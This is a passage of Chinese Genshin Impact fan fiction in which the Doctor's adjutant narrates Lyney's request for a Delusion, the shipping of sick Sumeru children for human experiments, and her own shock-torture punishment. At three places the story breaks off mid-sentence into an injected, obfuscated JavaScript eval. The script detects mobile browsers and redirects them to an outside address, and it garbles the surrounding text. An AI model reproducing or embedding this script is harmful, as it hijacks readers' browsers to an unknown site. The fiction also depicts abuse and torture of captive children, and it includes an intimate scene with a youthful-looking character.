但我能感受到,从少年身上传来的打量和提防。 这对我而言几乎是家常便饭。尽管如此,内心刚才升起的轻松喜悦也完全消弭,只剩下沉重。 【女士】开口:“塔德纳和【博士】不一样。就算是看在我的面子上,不要针对塔德纳。” 阿蕾奇诺:“我没有这个意思,也没有针对谁的打算。在成为执行官之前,我也是壁炉之家的一员。那个时候,比起【博士】的名讳,他手下的鹰犬,反而比【博士】本人更为壁炉之家的孩子恐惧。” “当然,在成为执行官后,我所知道的事情更多,自然也不会以简单的善恶评价其他人。只不过,犯下的罪孽无可置疑,无可推翻,对于【博士】的党羽,壁炉之家,可能没那么欢迎。” 【女士】:“但是……” “抱歉。”我打断【女士】的话语,从座位上站起来。 习惯性地维持话语的平稳,我深吸一口气。 “抱歉打扰您了,【仆人】大人,我现在就会离开。” 我不敢去看阿蕾奇诺的表情,于是只是最后看了一眼【女士】,说了一句“我在外面等您”,便打开门出去了。 一直到壁炉之家的门前,我才感觉胸间的烦闷稍微散去。 找了一个不会被壁炉之家的人看到的角落后,我贴着墙蹲下,呼出的气散成一片白雾。 56.第 56 章 在我出来后没多久,我听到大门开合的声音,随即是放轻的脚步声。 我抬头。 是之前见到的少年。 “是你。” 我有些惊讶,扶着墙站起来:“是找我吗?请问有什么事?” 少年带着一点警惕。 “你是【博士】的副官?” “是。所以……” “请您告诉我获取邪眼力量的方法吧!” 少年猛地向我鞠躬。 我能看出少年似乎是下了巨大的决心才来找我的,也正是因为如此,我有点被吓到了。 “你先……不要这样,先起来。” 我将少年扶起来,看着少年那因为出来匆忙所以衣物单薄的样子,忍不住在心里叹了口气。 我取下自己的斗篷,因为比较怕冷,所以Theta切片专门为我准备的毛绒绒加厚版。 我稍微走近两步,将斗篷披在少年身上。 “谢……谢谢。”少年似乎有些反应不过来。 “你和传闻中的不太一样。”他说。 “传闻?”我笑了一声,“单就结果而言,壁炉之家的人讨厌我也很合理。你叫什么名字?” “林尼。” “好了,小林尼。”我按住眼前少年的双肩。少年很显然年纪尚小,比起我要矮上不少。 “回去吧。”我将他往大门的方向推去,“【仆人】大人估计现在已经发现你不在了吧。” “但是……”林尼焦急地扭头看我,想要挣脱开我的手却没能办到。 很显然,没有神之眼力量的普通少年无论如何都不是我的对手。 “但是,我真的很需要邪眼的力量!塔德纳大人,拜托您了!还请不要拒绝我。” 我顿了一下。 凭借这个间隙,林尼从我的手下逃开。 “为什么?你很清楚吧,邪眼的危险性。” 林尼的眼神闪躲:“我知道,但是,自从琳妮特有了神之眼后,我只能和琳妮特分开行动。我很担心她,如果可以的话,我想要获得和琳妮特一起行动的力量。” 我看着眼前这名年纪不大的少年。大概是因为被阿蕾奇诺带来至冬,还无法习惯与枫丹气候完全不同的冰雪之地,即便有着斗篷,也依然冻得微微发抖。 那双眼睛颤抖着。 “你并没有做好迎接邪眼危险性的准备。”我戳破少年故作的冷静。 “但……”林尼有些不甘心地握紧拳头。 “林尼,原来你在这里。” 背后,沉稳的女声传来,我看到阿蕾奇诺那熟悉的衣摆。 我向后退了半步。 “【仆人】大人。” “父亲……大人。”林尼的声音带着一丝颤抖。 “你在这里干什么?” “我……” 阿蕾奇诺似乎并没有轻易放过林尼的打算。 我能听到少年因为紧张而干涩的声音,以及,那即使低着头,也能看到的不安纠结的手指,骨节冻得发青。 也可能只是紧张所致。 “【仆人】大人。”我将僵硬的少年推到身后,于是那双奇异的斜十字便落在我的身上。 “林尼只是担心我所以出来看一眼而已。”我尽量无视那颇有压力的视线,“我有些好奇,所以拉着林尼聊了几句。” 我将背后的少年拉出来,但还是侧着身子挡住别人的视线,然后将少年朝着那位猫耳少女的方向推去。 林尼踉跄了两步。 “感谢你分享的那些与家人相处的故事,我很喜欢。”我说,“家人是最宝贵的财富,和你的家人多聊聊吧,以后如果还有机会,也可以与我再分享一点。” 阿蕾奇诺的视线从我的身上扫荡到林尼的身上。 她似乎是在深思,但这个过程只持续了短短几秒。 她最终没有说什么,只是在与【女士】聊了几句之后,借着事务繁忙的由头离开了。 我也终于得到机会可以离开这里了。 在那之后又过去了几天,Omega切片突然离开至冬前往须弥,似乎有一项新的研究要提前备下准备,令我稍微有点意外的是,同行之人竟然有斯卡拉姆奇。 他一向与多托雷及其所有的切片都关系恶劣,也不知道是怎样的研究,竟然能让他放下与多托雷之间的嫌隙。 【仆人】阿蕾奇诺在那天之后找了我一次,这位惯常对我不冷不热,但因为多托雷的原因也对我不太喜欢的执行官感谢了我“拒绝答应给林尼邪眼”的事情,态度似乎稍微好转。 但总的而言其实也算不上“喜欢”,大概只是到了“普通同事”的那种程度吧。 不过按照阿蕾奇诺壁炉之家出身的身份,能看见我不“吹胡子瞪眼”大概已经是她能做出的最大的让步了吧。 我对林尼的事情没什么好居功的,就算除开内心那份“不希望看见前途正好的少年被邪眼毁去”的私心,但就我的身份而言,其实也并不具备发放邪眼的资格。 当然,我不能否认,如果那日面对林尼请求的人不是我,而是多托雷,或者那些崇仰多托雷的下属,他们或许真的会无视规定私下给予林尼邪眼。 至于代价? 这些人不在乎。使用邪眼的人,从最初便也开始成为了邪眼计划庞大实验素体群的一员,为邪眼的升级改造提供活生生的数据支撑。 就连执行官,或许也不在这例外。 我从口袋里掏出圆形的邪眼。 那是一枚冰系邪眼。 结构上大致相同,只是图案与普通愚人众士兵佩戴的样式有区分。 上面摹刻的,是执行官【博士】的象征纹样。 我很少会遇到必须要亲自上场打架的情况,所以常备邪眼只是为了预防一些特殊的情况。 多托雷对我的行为毫不加限制,甚至配了一箱各元素都齐全的邪眼放在家里,以便我随取随用。 大概,就算邪眼对身体的损耗对我而言如同有无,也能多多少少给多托雷提供一些其他方面的数据吧。 身后响起熟悉的脚步声。 一件并不温暖的斗篷从天而降罩住了我。 “主人,您回来了。”我看见多托雷。 多托雷穿着他那一身零件颇多的衣服,肩膀上的鸟嘴挂件大得几乎要挡住我一半的视线。 他的身上没有多少热气,很多时候,Theta切片甚至表现得比他更像一个“活人”。 虽然以多托雷的状态,大概也很难称之为“活人”了吧。 多托雷的声音一如既往地低沉优雅。 “你在翻看我给你的邪眼,是有什么问题吗?” 背对着也能看到吗…… “不……只是之前发生了一些事情,想到了,就想拿出来看一眼。” “壁炉之家的那个孩子找你要邪眼的事情?” 多托雷对我的掌控一如既往,即使远在枫丹。 我对此几乎已经麻木了。 “是。” “邪眼的存在,是为了打破‘只有神之眼拥有者才能使用元素力’的限制,比起那种随处可见的消耗零件,汇聚了智慧的邪眼才该是被称赞之物。你或许不应该拒绝那个孩子的请求。” “邪眼总会对人的身体造成损耗。” “一点微不足道的代价而已,不是吗?这世界上不存在不用支付代价便能获得之物。比起能够获得的力量,对身体的损耗,这种能够进行控制和修复的东西,实在是不值一提。” 多托雷说起这种事情总是会变得喋喋不休。 “就如同人类文明科技的发展史一样。”他说,“付出一点代价,换来科技文明的前进。要想推动机械齿轮向前运转,然后运输,载人,以及在各方面的生产中发挥作用,便要消耗一定的资源,甚至是对环境造成不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986780|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避免的破坏。” “邪眼也是同一个道理,塔德纳。不用太过在意背后的代价,否则会错失良机。” 我抿了抿唇,对多托雷的观点既感到赞同,又不可避免感到茫然,在心底下意识地否认。 我选择岔开这个很显然我并不是特别擅长的话题。 “您是在责怪我当时的选择吗?” “‘责怪’?不不不。”多托雷笑起来。 他的笑声理性而温柔。 “你是一个无法被轻易改变想法的人,塔德纳。所以,既然是你的决定,在不影响重要事情的情况下,我会选择放任。” 是了,大抵是在共同生活了快五百年了,多托雷反而不会再用特别粗暴的手段规训我。 虽然他对我的掌控依旧渗透方方面面,但在一些方面,比如“自由时间”和耳坠的惩罚机制上,他在很久之前就暂时封闭不用了。 耳坠连通多托雷的终端,会向他实时传递我的身体情况和所在的场景发生的事务,如同被24小时监视一般。 我不得不承认,这种方法很奏效,甚至过于奏效了。 若是想要违背命令的话,便要先掂量一下自己是否能够支付得起相应的代价。 即使没有明说,多托雷的意思也很明显了。 多托雷伸手替我将身上的斗篷整理得更加服帖,厚重的执行官大衣让人有一种要被掩埋的感觉。 说到底,多托雷也太高了吧,衣服也大这么多…… 我仰着头任由多托雷动作,那双冰冷的手便扯着两边往下,合在我的下巴处。 “我记得你有一件斗篷。”笃定的语气。 我有些神游:“送给别人了。” 多托雷不是应该早就知道这件事吗? 多托雷听完只是淡淡地“嗯”了一声,然后才说。 “抽空拿回来吧。” 我有些不太想去壁炉之家。 “只是一件斗篷而已,之后再买新的应该也……” “我不希望你的东西在别人手里。还是,你更希望我去一趟帮你拿回来?” “……我会自己去拿的。” 多托雷拍了拍我的头。 头发变得有些凌乱。 多托雷没有提迪卢克的那件事,我明白这就是不追究的意思,无论是否是Theta从中出了力,还是其他的,总之,这对我是件好事。 取回斗篷的事情,我故意拖了一个月,等到多托雷再次问我这件事的时候才不得已去了一趟壁炉之家。 接待我的是阿蕾奇诺身边的下属,她说“【仆人】大人已经离开至冬了”,连带着林尼兄妹一起。但好在林尼嘱托过要将斗篷完整地还给我,所以我顺利地从这位下属手中拿到了自己的斗篷。 带着柠檬洗涤剂的味道,应该是重新涣洗过。 那之后的不知道几个月后,我从别人那里听说壁炉之家发生了一次叛乱,林尼碰巧获得了神之眼,得以重新和自己的家人一起在枫丹开展活动。 林尼还专门给我寄了封信,信件辗转来到我手里时,已经是一周后了,少年十分兴奋地向我分享了这则喜讯,并邀请我以后去枫丹的时候记得去看他的魔术秀。 是的,林尼和琳妮特决定以魔术师组合的名头在枫丹活动了。 能够找到自己的道路,和最亲爱的家人在一起,属实是一件值得庆祝的事情。 我很高兴林尼竟然会选择在分享这件喜事时把我也纳入考量范围之内。 这封信被我放在随身的存储袋子保存,在多托雷身边,这大概是唯一只属于我自己一个人的空间。 斟酌两天后,我郑重地写了回信,并动用“副官”的身份以公谋私将信件送出,随信附上了我前几天在集市上相中的一个套娃玩具,构思和花样都很巧妙,便买了下来。 买的时候还被少年切片嫌弃了一通“快五百岁的人还喜欢这种小孩子的东西”。 57.第 57 章 在回信送出的第二天,我被一位意外之客堵住了。 “Alpha……大人?” 原本应该在须弥的少年切片,不知何时回到了至冬。 被在前往实验室接受新的实验素体前找上门,少年切片无视了一旁面色纠结不敢劝阻的下属,伸手拉着我的手腕钻进一间房间里。 彼时我的脑海里还在回想今日的事务安排,少年切片一声不响地出现在我的身后,我只看到了那毛茸茸的薄荷色卷发,便被不容拒绝的力道拽了进去。 外面的人群似乎轻声惊呼了一声,但很快被用力关门的声响覆盖。 我被拉着衣领一下子压到门板上。 “大人……轻点儿。” 后背被撞得有些发疼。 “啧。”少年切片有些不耐烦,但手上的力度还是稍微放松了。 “你把之前买的套娃送人了?送给谁了?” “您怎么知道这个……” “快回答我。” 手腕上禁锢的力道越来越重。少年切片抓的是我那只久负伤病伤痕沉疴的右手,平时本就不能太过用力,如今被毫不留情地捏住,又泛上细细麻麻的疼痛,使不上力。 我不清楚少年切片是从何处知道了我送东西的事情,但眼下恐怕不是纠结这个的时候。少年那双红眸眼底的不满与愤怒恨不得要淹没我。 我尽量忽视手腕上的疼痛。 “一个刚认识的人。因为被送了东西,手边刚好没准备回礼,便把那个小玩具打包回礼了。” “你换一个不就行了?那可是……可是我陪你……” 少年切片依旧十分不满,只是话说到后头,又吞吞吐吐地说不下去。 我看到卷发间微红的耳尖。 真是的……多托雷这个少年切片的青春期到底还要持续多久? 我在心里叹了口气,但面上还是露出一副委屈的表情,眉势微微向下。 “抱歉,大人。我这段时间实在是事务太繁忙了,加上这是第一次有人给我送东西,不回礼物的话,我实在是有点放不下……” “你……你别在我面前装可怜!我是不会吃你这套的!除非,除非……” “除非什么?” 我就着这个动作,上半身微微倾斜,趁少年切片不注意在嘴角亲亲地一触。 少年切片猛地后退半步,连抓着我手腕的手都松开了,脸颊红了大半。 我将本就被拽得凌乱的领口拉开几分,向前走两步逼近少年切片,微微塌下腰,手臂环上少年的肩膀。 “大人。”故意靠近少年的耳朵,“别生气了,我以后不会给别人送东西了。您原谅我吧。” 从我的角度,刚好能够看到那本就羞红了的耳垂变得愈发红润,像是整个落进了红色的染缸,要滴滴答答地往下滴红色的染料。 “你最好说的是真的。”少年咬着牙,语气有些模糊。 “当然。” 我引导着少年切片后退让少年坐在椅子上,然后□□坐到少年的腿上。 唇齿自然地交合在一起,最开始还是我引导少年的舌头缠绕,后来便是少年夺回了主权,用力地攫取着我的呼吸,双手也覆在我的腰上,不老实地顺着衣摆往里面钻。 “别,大人,我今天还有事……” 在事态变得不可收拾之前,我制止了少年切片的动作。 “你什么时候没有事?总是喜欢拿这种理由搪塞我。” 我想起以前为了躲过少年切片编的那些理由,冷汗一下子下来了。 “哈哈……但今天是真的有事。”我露出一个苦笑,“Omega大人在须弥发现了一批实验素体,派人送到了至冬,主人让我尽快安排接收那些实验体。您也知道的,这种事拖不得。” “行吧。” 少年切片脸上的神色依旧不好,但好歹是愿意暂且放过我了。 “但是……”少年话锋一转,“送别人礼物这件事可没那么容易过去。” “您想要怎么办?” 少年切片皱眉,思索了几秒。 “我也要礼物,”少年如此说,“而且,要是你亲手做的礼物。” 我:“……” 我:“您不是嫌弃这种东西太幼稚了吗?” “我什么时候说过?算了,我不管那么多,反正你也要给我送一份礼物,必须要让我满意的那种!” 我不如直接上天空岛把天理绑下来给您当实验素体研究…… 虽然内心如此吐槽着,但我还是秉承着一位优秀下属要让上级随时满意的打工人准则答应下来了。 大不了就当哄小孩了。 好不容易应付完少年切片,我带上几个得力的实验室助手前往了至冬的海港。 这一批实验素体是从须弥的拜达港运出的,为了防止被调查,走的是枫丹境内的水路,在枫丹有壁炉之家的势力帮忙掩盖行踪,所以不必担心被发现不妥。 只是这条运输路线未来恐怕很难行得通了,据说枫丹的那位最高审判官将会联合新上任的那位公爵大人一同加强对运输货船内容物的审查,到时候,恐怕就算是愚人众的货船,也免不了被审查。 那位公爵…… 我记得是梅洛彼得堡新上任的管理者,手段很是雷厉风行。 我很少与这种国家级别的主事人见面,毕竟多托雷主管的部分不涉及“外交”,那是【仆人】要做的事务。 但是,梅洛彼得堡,我记得潘塔罗涅曾经大费周章地在那里推行了一种新的货币制度,妄想实验取代摩拉的可行性。 至于最后的结果。 我没有过多关心,但想来应该不会太好,否则,现在的北国银行大概已经在用新的货币交接了。 那位野心过甚的银行家…… 如今已是年末的冬季了,气温格外低,这座港口素有“不冻港”的称号,在这种天寒地冻的季节是商贾运输货物的不二选择,虽然因为愚人众的公务原因,已经提前一个小时清港,码头上的货船还是密密麻麻一眼看不到头。 我向着挂有愚人众旗号的货船走去,货船的负责人向我行礼问好。 “副官大人。” 我保持得体的微笑:“这么冷的天气,想必运送货物也很辛苦吧。这是一点辛苦费,还请不要拒绝。” “大人您太客气了,这都是我们这些人的分内之事而已。” “不用拒绝。”我将钱袋放进男人的手心,“在海上劳累这么久,之后得去酒馆好好点两杯火水驱驱寒才对。” “感谢大人,感谢大人。”男人脸上的笑容挤出了皱纹,“早就听说大人您平易近人,最是好相处的一位,如今一见果真如此。我能有幸为您做一次事,也算是积善积德了。” 积善积德…… 真有“功德”这种东西的话,光是看一眼那些实验素体恐怕就要被倒扣一百年的功德,哪里有德还能积。 “都是为了【博士】大人而已。” 我无意再听男人的碎语,果断地转移了话题。 “时间紧迫,货物呢?我需要验过一遍。” “当然,当然,这都是正常的流程,我晓得的。货物都在前面,我来为您带路。只不过,有件事,还需要您先了解一下。” “什么事?” 男人压低声线,显出一副鬼鬼祟祟的样子。 “这一批的货物,性子烈得很,有几个不服管教的,在船上闹事起哄,我们一负责投喂食物的船员还被这些不知天高地厚的货物打了一顿,手臂骨折了,现在还没好呢。” 我睨了男人一眼。 “货物不是关在笼子里面的吗?这要怎么打伤船员?” “哎哟,这……”男人脸上的神色变得心虚。 我在太多人身上看到过这样的神色,也不止一次遇到过这样的情况。见得太多,反而有些麻木了,只剩下“又是这样”的烦躁。 男人试图辩解:“穷乡僻壤来的刁民,须弥沙漠那群人,您也是知道的,没受过教育的蛮子,野蛮粗鲁……” “好了。”我打断他的话。 “如果只是提醒我小心的话,我知道了,感谢你的提醒。” 从口袋里再拿出一份与之前重量相当的摩拉袋扔给男人,看着男人谄笑着飞速揣进怀里,难得地感觉到有些头痛。 “货舱就在前面是吧?” “是的,我给您带路……” “不用了。”我从口袋里拿出邪眼,看见男人的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我看到这些被关住的的孩童颤抖更甚。 “取一些毛绒被覆盖在铁笼表面,然后再进行转运。通知实验室准备好足够的人手对所有实验体进行检查。” 我不清楚现在的补偿措施到底还能起到多大的作用。从须弥走水路到达至冬动辄半个多月的时间,这些孩童经受了这么久的虐待,恐怕很多人早已是奄奄一息了。 看着覆盖上白色绒被的笼子被一个个推出,然后转移到运输车辆上,我站在雪地里,莫名感觉身体发冷。 明明考虑到天气渐冷,早上出门的时候专门穿了最厚的衣服…… 经过身边的一辆车,上面的绒被被一只瘦骨嶙峋的手扯开,一双紫色的眼睛恶狠狠地盯着我。 “疯子!你们这群抓活人做实验的疯子!竟然敢用‘治病’来骗我们!你们都是些没有良心的疯子,混蛋!” 如同濒死的兔子一样,她的声音嘶哑,大概是因为缺水,只能勉强听出是个女孩。那双暗沉沉的眼睛撕咬着我,恨不得咬开我的喉管一般。 “把手收回去!”押送的士兵低吼着,枪托在那只伤痕累累的手上砸了一下,只是一下,那只手便泛起青紫的於痕,可见用力不小。 但即使如此,女孩也没有松开的意思。 “放开我!”她说。 “嘿,你这不识时务的家伙……”士兵作势还准备去打。 “够了,忘记我之前说过的话了吗?实验体不是拿来供你泄愤的工具。”我出声,看到士兵悻悻收回手,才将视线转回到女孩身上。 女孩有着一头绿色的卷发,因为多日未曾打理而显得凌乱。 她的身上缠绕着毫无章法的绷带,但未被遮掩的地方,能够看出些许黑色的,鳞片状的疮痂。 这样的痂痕…… 实在是过于眼熟了。 我想起这群人的故乡。 是须弥。 数百年之前的记忆如同洪流一般袭来,我只能听到自己的声音响起,如同隔了一层毛玻璃。 “你叫什么名字?” “……柯莱。” 58.第 58 章 “这次的实验素材,一定会成功的,主人……请您再相信我一次,我已经找到了解决的方法了。” 实验室内,一头短寸冲天发,相貌猥琐的男人趴伏在地上。他穿着研究员的衣服,此时正恭敬地向他身前的人担保着。 而在他身前的人,一张诡异的黑白面具覆盖全脸,露出的猩红色的眼睛满是疯狂。 “我已经给过你足够多的机会了,克洛伯。”戴着面具的男子森森笑起来,嘴角的弧度狰狞。 “要是这次的实验素体还没有成效,不如用你自己试试?” “饶命啊主人!马上,我保证,我马上就可以做出能让您满意的实验结果了,求您再多给我一点时间吧。” 叩叩—— 清脆的敲门声打断了主仆二人之间的对话。 我没等里面的人回应,礼节性地敲了两下门后就推门进去了。 “Beta大人。”我在不远处站定,弯腰行礼。 这位以多托雷青年时期为模板制作的切片,即使不知道为什么审美突然变得很差,面具毫无美感,但我还是愿意承袭以往的称呼,在心中将这位切片称为“赞迪克”。 “是你。”赞迪克看过来,笑容变得恶劣。 “塔德纳,你上次放跑了我一个实验体的事,我还没找你算账呢。” 上次? 哪个上次? 我在脑海里搜刮了一阵,想起来他大概说的是那次不由分说看中一个愚人众士兵的体质,想要强行留作实验素体的事情。 那件事情闹得不太好看,最后还是我来来回回往【公鸡】大人那里跑了六七趟才勉强平息事故。 “那种事情就没必要再提起了吧,Beta大人。”我意有所指,“实验素体的征收是有条例规定的,如果您不服气的话,大可以去找主人商量,何必为难我一个小小的下属呢?” 赞迪克的嘴角唰地一下垮下去了。 克洛伯从地上爬起来。 “你你你,你怎么可以这么对主人说话?还有,你对主人什么称呼?你也太不敬了!” 肥肉堆积的手指几乎要戳到我的面前。 我从容地往后退了半步,视线越过碍事的人,往后探去。 “这是您新招的下属?” “啧。克洛伯,滚下去,别在这里碍眼。” “主人?!” “别让我说第二遍。” “是……” 克洛伯悻悻地缩着脖子离开了,临走时愤愤不平地看了我一眼。 我回以微笑。 等到那道身影离开实验室后,我才开口,似是感叹地说道。 “您挑选下属的眼光倒是一如既往地独特。” “你在嘲讽我?” “怎么会呢,Beta大人。还请对您自己的眼光有点信心。” 赞迪克倚靠在椅背上,翘着腿冷眼看我。 “别以为有‘本体’在我就不敢动你,塔德纳。对我的态度最好放恭敬点。” 我们之间都很清楚,这句话不过是一句警告而已。 多托雷在至冬的时候,其他切片还真就没办法无缘无故对我动手。 我露出笑容,转移了话题。 “大人,从须弥运输来的实验素体已经全部接收完毕。按照安排,将全部安置在这边的实验室。我想这件事,您应该已经收到主人的讯息了。” “须弥来的实验素体?” 赞迪克似乎稍稍起了点兴趣。 “我记得那是Omega切片征收的素体。能让那个自私且傲慢的家伙感兴趣的实验体……呵呵,带我去看看吧。” “是。” 所有的实验素体都被运输到关押实验体的房间,如今,数十辆车正运送着铁笼停靠,然后由愚人众的士兵将笼子搬下来,打开笼子后按照性别分类,每三人关押在一间房内。关押的途中,由全副武装的士兵押送。 毕竟实验体暴乱伤人的事情也不是没有发生过。甚至在那次的混乱之后,从大门到关押房间的路段全部被设计成了封闭路段,外人想要混入这里几乎是不可能的事情。 就算是从内部,也需要通过一道道的身份验证。 由实验室研发的新科技,能够识别一个人的虹膜和掌纹来判断身份。每座实验室都装备有这样的装置,最高的权限只有执行官才拥有。 我跟着赞迪克到了关押房间,此时士兵正在押送实验体进入房间。 士兵打开铁笼的锁,武器敲击着铁笼催促里面的人走出来。 我在里面看到了之前见过的那个绿头发的女孩。 看起来精神头还不错,甚至有精神朝士兵龇牙。 但更多的孩子脸上显露的是害怕和惊恐,长期营养不良而瘦弱的身体在高大的士兵身前蜷缩颤抖,想要和身边或许只是被抓起来后才结识的同伴相抱而行也会被粗暴地分开。 若是有不服管教或是哭泣吵闹的,便会被士兵恐吓回去,再制止不了,身上便会挨上重重的一击。 因为害怕挨打,这些孩子也只能捂着嘴不让自己的哭声泄出来。 “都是些经不起折腾的小孩子。”赞迪克环视一圈周围,有些不满。 “实验体如果没有健康的身体素质的话,如何能拿来做实验?很难得到实验结果不说,就算碰巧坚持下来了,结果也没什么参考价值。” 如同评价货物耐用与否…… 我保持缄默。 切片抱怨实验体的情况时有发生,说到底,优秀的实验素体难以找到,有的时候,一些实验不得不因为实验素体的短缺而暂时中止。 至于其他的。 要说谈对实验素体悲惨未来的同情。如今的我,大概也已经没有资格再谈论这些了。 不远处响起一阵嘈杂。 “走快点儿!” “我知道了,别催我……啧,不要碰我!好疼!” 赞迪克皱眉:“是谁在吵?” “【博士】大人,是有实验体不服管教,我这就把她押进去。” “不用了,把那个实验体带过来。” “是。” 不多久,一个熟悉的绿头小孩儿被押过来。 是那个叫“柯莱”的女孩子。 我能感受到赞迪克在看到柯莱身上那零星的无法被绷带遮掩住的黑色疮痂时,气息稍稍变化。 赞迪克伸手抓住柯莱的手臂,一把扯开那上面的绷带。 “你干什么?放开我!” “魔鳞病?呵呵,原来如此,原来如此。难怪Omega切片会如此大张旗鼓,只是为了运送一批质量不佳的素材。” 柯莱挣扎着,被赞迪克抓住的那只手已经开始缺血发紫,那双紫色的眼睛里燃烧着恨意,下一刻,便伸出另一只手朝着赞迪克的方向攻击而去。 我看到那只瘦弱的手指间闪过一道亮光,心中浮现不好的预感,下意识地阻拦。 “等……” 但没来得及。 赞迪克的反应比我更快。他伸手,单凭一只手的力量便轻松挡住那攻击,然后握着小臂的手轻轻用力,便响起清脆的骨裂声。 “啊——” 柯莱痛苦地喊叫一声,紧接着,两只手臂都以一种扭曲的形状被扭转在身后,强烈的疼痛让柯莱无法支撑自己的身体,很快便被压着跪倒在地上。 那指间闪烁的亮光也落在地上。 噔—— 是一半碎裂的铁片。 大概是之前一直藏在手里的。 赞迪克脸上的神色不太好看。 “连这种东西都能混进来,实验室的卫队还真是越来越松懈了。胆敢反抗的实验体,呵……” 我赶在赞迪克生气之前往前走一步。 “大人,实在抱歉。这件事就交给我吧,我会带人将这些实验体搜身一遍,确认没有危险品混入。” 说着,我伸出手,作出一副要接手柯莱的动作。 赞迪克看了我一眼,脸上露出笑容。 那笑容,阴沉而危险,像是直接抬起了嘴角,其他的面部肌肉都未动一般,僵硬诡异。 “是吗?” 赞迪克松开手,将手下的人朝我的方向推来。 我下意识接住,那顺着推拉传来的力道大得我差点站立不住,脚下踉跄了半步。 头顶,赞迪克的声音响起,带着一丝疯狂。 “既然如此,就全部交给你处理吧。违反规定,袭击实验人员的实验体将会受到怎样的惩罚,我想你比我更清楚吧,塔德纳?” 我感到头皮发麻。 “是。” “别让我失望,塔德纳。” 赞迪克最后留下这么一句话,犹如毒蛇的目光在我身上舔舐一遍,然后离开。 我抱着怀里疼得不断颤抖的女孩,惊觉自己的后背也出了一身冷汗。 身后传来问询。 “副官大人,这……” 我看了一眼那个之前押送柯莱的士兵。 “一切继续。”我说,“这个实验体由我接受,关押在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我取下柯莱嘴里的毛巾,被这样一顿折磨,即使是再坚强不服输的女孩也只能虚弱地半靠在墙壁上,嘴唇毫无血色。 “抱歉,你的伤势实在有些棘手,交给研究员处理的话,可能并没有我的方法快。”我从口袋里拿出一个药瓶,打开后靠近那双苍白的唇。 紫色的眼睛警惕地看着我。 “一些帮助你恢复伤势的药而已。伤筋动骨一百天,你应该不希望这个样子在这里度过三个多月吧?” “我凭什么相信你会帮我?” 我轻笑:“就凭我给你用的这瓶药能让你明天就活蹦乱跳。要是被那位脾气不好的大人发现我给你用这个药的话,我可要好一顿吃不了兜着走了。” “快喝。”我催促着,“要是被其他人发现了,我也救不了你。” 女孩注视着我的双眼,半信半疑地含住瓶口,将里面的药喝完。 “感觉怎么样?” “好像……确实不疼了。” “一点麻醉效果而已。”我收起瓶子,揣进身侧的口袋,“24小时内不要动你的手臂,保持血液畅通,明天应该就能拆板活动了。” “好好睡一觉吧,餐食大概会在两小时后被送到。” 我拍了拍衣摆,站起来。 “你……那个人说的什么惩罚,你不做了吗?” “嗯……你竟然会主动提起,这倒是出乎我的意料,你很好奇这个吗?” “……才不是!” “那不就成了。”我摸了摸那凌乱的绿色头发,看着发梢膨炸起来,忍不住笑出声。 柯莱咬着牙看我。 要不是双手都被包扎无法动弹,她肯定会把我的手拍走然后还我一掌。 “既然不好奇,那就当作没有这件事吧。”我用苦恼的语气说,“就算是我,让我虐待一个这么小的小孩子,我也是狠不下心的。” “……装模做样的家伙……” 我对这样的评价安之若素。 “还有其他事吗?没有的话,我可走了哦。” “……” 女孩纠结着,似乎是下了很大的决心,才在我半只脚卖出铁门的时候问出声。 “你……你这么帮我,对你会有不好的事情吗?” 我顿了一下。随即语气如常。 “做好事怎么可能会有不好的事情。”我说。 “好好休息吧。毕竟要在这里生存下去。” 话音落在冒着寒气的廊道里。 我关上门,转身离开这个地方。 过长的廊道如同蛇的身体,七弯八绕,不知道走了多久,拐过多少个拐角后,前方冒出点熹微的凉薄日光。 而在最前方,那道熟悉的身影伫立在门口,脸色阴沉,猩红色的视线打过来,犹如索命的尖刀。 赞迪克盯着我。 “走吧,既然你已经做出了选择。” 59.第 59 章 为了规范对实验体的管理,实验室有一套完善的管理办法。 所有实验素体,若有不服管教的行为,需注射镇定剂,并进行三级惩罚。 若有携带危险品,并且攻击研究员的行为,需注射镇定剂,并进行二级惩罚。 若该实验素体有多次攻击行为,并且意图伤害主管以上级别管理人员,进行一级惩罚;屡教不改者,则考虑直接执行报废处理。 太多的人曾在眼前死去。 因为实验,亦或者是在绝望的反扑后,因所谓的“惩罚”而死。 手脚被黑色的困缚带束缚在两侧,为了防止接受惩罚的实验体逃脱,就连颈项处也会被金属的铁环扣住,锁在铁床上。 连通四肢的各处,数根末端会放出电流。 以二十秒为一组,一级惩罚会间歇进行15组的电流惩罚。在电流流通身体的一刻,身体会不自主地抽搐,犹如火烧的疼痛席卷全身,然后是无力挣扎的麻痹感。 赞迪克将我的身体固定在台子上,然后从口袋里拿出来一个东西。 “张嘴。”他伸手。 我看着他手中那圆球形状的东西,摇了摇头,但脖子处的铁环被调的太小,几乎紧贴着皮肉,以至于连摇头这样微小的动作都做不出来。 我只能开口。 “不用了。” “你确定?最高一级的惩罚可没那么好受,忍受不了痛苦宁愿咬舌自尽的人也是大有人在。” 赞迪克的语气不是很好,但还是劝说了两句,对他而言几乎是破天荒地极富耐心了。 “但是那样口水会流出来。” “啧,随你。” 赞迪克又变成那副有人欠他八百万摩拉的臭表情。他转身,在实验台上取下一支试剂,用注射器将里面的药剂吸出。 轻轻排出空气,赞迪克来到我的身边。 透明的药液随着赞迪克的动作在惨白的灯光下闪烁着。 叁号组合药剂。 